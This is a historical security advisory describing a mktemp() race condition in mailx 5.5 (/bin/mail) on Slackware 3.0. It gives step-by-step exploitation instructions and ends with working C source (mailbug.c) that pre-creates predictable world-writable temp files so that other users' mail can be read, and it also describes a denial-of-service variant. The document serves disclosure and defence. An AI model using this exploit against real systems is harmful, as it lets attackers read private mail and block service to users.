There is a problem prevalent in the way many programs implement their usage of mktemp() in order to create temporary files in /tmp, allowing users on a machine to read and write to the contents of temporary files created. The basic problem is that there is a race condition that exists between the point that a program calls mktemp(), and the pathname returned by mktemp is actually created. For some programs, the file creation is immediately or almost immediately following the mktemp(), resulting in an extremely small window of opportunity, and as a result making it very difficult to exploit. However, there are other programs that do not immediately open the file, and in these cases it is only a matter of getting the timing right in order to exploit the hole. To exploit this hole, simply create the file that mktemp() returns as a valid temporary filename after mktemp() has been called, but before the file has been opened, allowing the user running the program permissions to read and write from that temporary file. The program will then succeed in an fopen, and will write to the file, oblivious to the fact that it didn't actually create the file, and that others can also read and write from the file. Note that most programs will immediately unlink() a temporary file, but that does not delete it until after it is closed. Closing a file results in the contents of it being flushed, and so by using a 'tail -f' or a similar procedure, you can capture the contents of the file before it is removed from the filesystem. The filename returned by mktemp() is easily determined for most unix platforms, allowing this bug to be exploited. For the linux libc, this is to replace the X's in the template with the leftmost digit starting at 'a', and then being incremented 'a'-'z', 'A'-'Z', and '0'-'9' (if that file already exists), and then replacing the rest of the X's with the process id (0 padded). Other operating systems use a variation of this technique, experimentation easily reveals the algorithm. The generic procedure used to formulate an exploit for a particular program with this bug is as follows: 1. detect the execution of the program. 2. determine the temporary filename that mktemp() will return when called by the program. 3. determine the point at which mktemp() is called by the program, and immediately following that point, create the file, with rw permissions for the user who is running the program. 4. read the contents of the temporary file, using a 'tail -f' or your own routines. Linux's /bin/mail, as included in Slackware 3.0 (mailx 5.5), suffers from this mktemp() problem in all temporary files it creates. It uses 5 temporary files with filenames generated during the program's initialization in a tinit() function, and then uses them as it becomes necessary during the program's execution. The race condition begins in this tinit() function. The temporary files that can be exploited are as follows: /tmp/ReXXXXXX Used when a user selects 'e' from the mailx command prompt, to edit mail. The message the user has selected to edit is copied to the temporary file at this point, and then the editor is invoked on that temp file. The race condition ends when the user has selected 'e', and allows the mesage being edited to be read. /tmp/RsXXXXXX Used when a user sends mail, usually from the command line, such as: 'mail dave'. The race condition ends when EOF is recieved from stdin, and the message is about to be sent, and allows the outgoing mail to be read. /tmp/RqXXXXXX Used when mail arrives into the mail spool while mail is currently running. The race condition ends when the program is preparing to shutdown, and allows the new contents of the mail spool to be read. /tmp/RmXXXXXX Used to prepend a message to the user's mbox file. Prepending requires the entire mbox contents to be read to the temporary file and then appened to the new message(s) being added to the file. This is disabled by default in Slackware 3.0 in the /etc/mail.rc by the use of the set append option. For this to be useful, that option needs to be removed from /etc/mail.rc, or an unset append needs to be added to the user executing mail's .mailrc file. The race condition ends when the program is preparing to shutdown /tmp/RxXXXXXX Used to read messages from the user's mail spool. The race condition ends during the program's startup, when the mail spool is read, and allows any new mail in the user's spool to be read. Because there is no user input between tinit() and this point, it is the only race condition that isn't completely trivial to exploit. The exploit that follows demonstrates the flaws in all but the final temporary file. To use, wait for a mail process to execute, then call the mailbug program with the process id as an argument, and finally execute a tail -f /tmp/R*, and let it run until the mail program has terminated execution. After it is over, remove the files you created in /tmp. As an aside, there are a number of programs that are vulnerable to a directed denial of service attack preventing people from using them by creation of the 62 temporary files that are attempted to be used by mktemp(), resulting in the failure of the program to run. By continous running of a program watching for these vulnerable programs to start, they can be prevented from ever successfully executing (one such example of this is in.pop3d, which would allow a denial of service attack against a specific user from recieving mail through pop). Program: mailx-5.5 (/bin/mail) Affected Operating Systems: linux - Slackware 3.0, others with mailx-5.5 Requirements: account on system, user using /bin/mail Temporary Patch: chmod o-x /usr/bin/Mail (ie: use something else) Security Compromise: any user with an account can read incoming, edited, or outgoing mail if the mail is processed by mailx. Author: Dave M. (davem@cmu.edu) Synopsis: The predictability of mktemp() is exploited to create the temporary files after the filenames have been determined but before they are actually created, allowing the mail being dumped to those temporary files to be read by the creator of the files. mailbug.c: /* This program creates temporary files used by mailx (/bin/mail under Slackware 3.0), which can then be read by the program. This will exploit 4 of the 5 temporary files, the final temporary file is a tighter race condition, and is not handled by this code. Following execution of this program with the process id of mail that is running, execute 'tail -f /tmp/R*', redirecting to a file if desired, and allow it to run until the mail process has exited. This can be easily handled in a shell script, but is not included since it is not needed to sufficiently demonstrate the security flaw. Dave M. (davem@cmu.edu) */ #include #include #include #include void exploit_mktemp(char *dest, char *prepend, char *pid) { int i; strcpy(dest,prepend); for(i=strlen(pid);i<6;i++) strcat(dest,"0"); strcat(dest,pid); dest[strlen(prepend)] = 'a'; } main(int argc, char **argv) { char tmpf[5][80]; /* hold filename */ umask(0); if(argc<2) { printf("mailbug racer\nSyntax: %s process-id\n",argv[0]); return -1; } /* get mktemp filenames */ exploit_mktemp(tmpf[0],"/tmp/Re",argv[1]); exploit_mktemp(tmpf[1],"/tmp/Rs",argv[1]); exploit_mktemp(tmpf[2],"/tmp/Rq",argv[1]); exploit_mktemp(tmpf[3],"/tmp/Rm",argv[1]); /* create temporary files */ creat(tmpf[0],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); creat(tmpf[1],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); creat(tmpf[2],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); creat(tmpf[3],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); }